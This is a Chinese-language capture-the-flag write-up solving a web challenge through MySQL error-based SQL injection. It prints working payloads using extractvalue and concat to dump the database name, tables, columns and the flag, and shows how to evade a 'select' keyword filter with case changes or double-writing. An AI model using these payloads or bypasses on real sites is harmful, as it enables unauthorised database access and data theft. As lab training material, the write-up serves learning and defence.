一、题目简介:
分析题目,拿到flag。
二、解题思路:
1、我们首先按照题目要求,分别访问 /login.php 和 /user.php。
访问 /login.php,页面如图:
访问 user.php,页面如图:
user.php没有用处,我们对 login.php 进行分析。
2、我们查看页面源代码,看看是否能找到有用的信息。
页面源代码给出我们两处提示:
(1)在url的后面加入 ?tips=1来开启mysql的错误提示,错误提示=报错会进行回显,那么可以使用报错注入,提供了一种思路。
(2)利用Burpsuite进行发包,提示我们最好在Burpsuite中进行操作。
那么我们就通过页面源代码的提示进行解题。
3、我们首先利用 Burp suite 对其进行抓包,并在url后面加上 tips=1,并且发送至 repeater 模块,方便实时发包查看报错信息。
具体报错信息可以使用 unicode编码在线转化工具转换为中文。
4、首先判断注入类型:
(1)name=123&pass=123,回显是\u8d26\u53f7\u4e0d\u5b58\u5728,unicode解码就是账号不存在。
(2)name=admin&pass=123,回显是\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef,解码就是账号或密码错误。
这就可以证明账号 admin是存在的,那么注入类型为 字符型注入。
经过和报错注入的联合判断,我们可以得出闭合方式为:单引号 ' 。
接下俩进行报错注入:
(1)注出数据库库名:
1' and extractvalue(1,concat(0x7e,database()))--+
(2)注出数据库中的表名:
admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))--+
我们发现未能注出表明,可能是select关键字被过滤掉了,那么我们利用大小写绕过,将select写作Select。 双写绕过 selselectect也是OK的。
admin' and extractvalue(1,concat(0x7e,(Select group_concat(table_name)from information_schema.tables where table_schema=database())))--+
成功注出表明,发现一张名叫作 fl4g 的表,flag很有可能就在这张表里。
(3)注出表 fl4g 中的列:
admin'and extractvalue(1,concat(0x7e,(Select group_concat(column_name)from information_schema.columns where table_name='fl4g'))) --+
发现字段 flag,flag就在字段flag中。
(4)注出flag的值:
admin'and extractvalue(1,concat(0x7e,(Select flag from fl4g))) --+
成功拿到了flag。